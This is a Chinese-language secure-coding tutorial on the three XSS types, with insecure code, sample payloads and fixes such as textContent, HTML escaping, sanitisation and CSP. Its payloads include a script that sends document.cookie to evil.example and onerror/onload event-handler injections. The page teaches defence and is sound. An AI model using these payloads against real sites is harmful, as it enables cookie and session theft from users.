Skip to content

XSS(跨站脚本)

攻击者在页面中注入可执行脚本,借助浏览器对页面的信任执行窃取 Cookie、篡改 DOM、钓鱼跳转等操作。

三类 XSS 对比

类型脚本如何进入页面典型场景
反射型URL 参数等「反射」进响应 HTML搜索页、error=
存储型写入数据库再输出给所有访客评论、昵称、富文本
DOM 型前端把不可信字符串写入可执行上下文innerHTMLlocation.hasheval

下面分别给出「不安全写法 → 攻击载荷思路 → 安全写法」。


1. 反射型:URL 进入 HTML

攻击示意(服务端拼接响应时):

html
<!-- 假设服务端模板类似:搜索结果页 -->
<!-- GET /search?q=<payload> -->
<p>您搜索的是:{{{ query }}}</p>

载荷示例(概念示意,勿在生产环境尝试攻击他人站点):

text
?q=<script>fetch('https://evil.example/log?c='+document.cookie)</script>

若服务端未转义,浏览器解析 HTML 时会执行 <script>

前端若自行拼接搜索结果(错误示例):

js
const params = new URLSearchParams(location.search);
const q = params.get('q') ?? '';
document.getElementById('out').innerHTML = `您搜索的是:<b>${q}</b>`; // 危险:q 中含标签即 XSS

防护写法(优先文本节点):

js
const params = new URLSearchParams(location.search);
const q = params.get('q') ?? '';
const el = document.getElementById('out');
el.textContent = ''; // 清空
const bold = document.createElement('b');
bold.textContent = q;
el.append('您搜索的是:', bold);

通用 HTML 转义(仅在必须用 innerHTML 时):

js
function escapeHtml(s) {
  return String(s)
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}
document.getElementById('out').innerHTML = `您搜索的是:<b>${escapeHtml(q)}</b>`;

2. 存储型:富文本 / 评论入库再展示

攻击思路: 在昵称、评论中存 <img src=x onerror="..."><svg onload="...">,其他用户打开列表即执行。

错误示例(Vue):

vue
<div v-html="commentHtml"></div>

commentHtml 来自用户提交且未消毒,等同存储型 XSS。

防护思路:

  1. 服务端:白名单标签消毒(如只允许 pacode),或对全文纯文本存储。
  2. 前端:仅在可信消毒后再 v-html;或使用 Markdown 渲染库的安全模式。
  3. Cookie:会话 Cookie 设 HttpOnly,减轻脚本直接读 Cookie(但仍需防 XSS,因脚本可代用户发请求)。

3. DOM 型:哈希、evalinnerHTML

典型攻击载荷:

text
https://app.example/#<img src=x onerror=alert(1)>

若代码读取 location.hash 并写入 DOM:

js
// 危险
document.getElementById('panel').innerHTML = location.hash.slice(1);

安全写法: 永远不把 hash/query 写进可执行 HTML;若展示,用 textContent 或严格转义。

js
document.getElementById('panel').textContent = decodeURIComponent(location.hash.slice(1));

4. CSP(内容安全策略)—— 纵深防御

由服务端响应头或 <meta> 限制脚本来源与内联脚本(需仔细配方,避免破坏业务)。

http
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';

说明:CSP 不能替代输出编码,但能显著缩小 XSS 成功后的破坏面(例如禁止 eval、限制外链脚本)。


小结

  • 根本:不可信数据进入 HTML 属性或脚本上下文前必须 编码或严格的结构化消毒
  • 框架:Vue/React 默认文本插值会转义;危险开关是 v-htmldangerouslySetInnerHTML、富文本
  • 配套HttpOnly Cookie、CSP、Trusted Types(进阶)共同减小影响。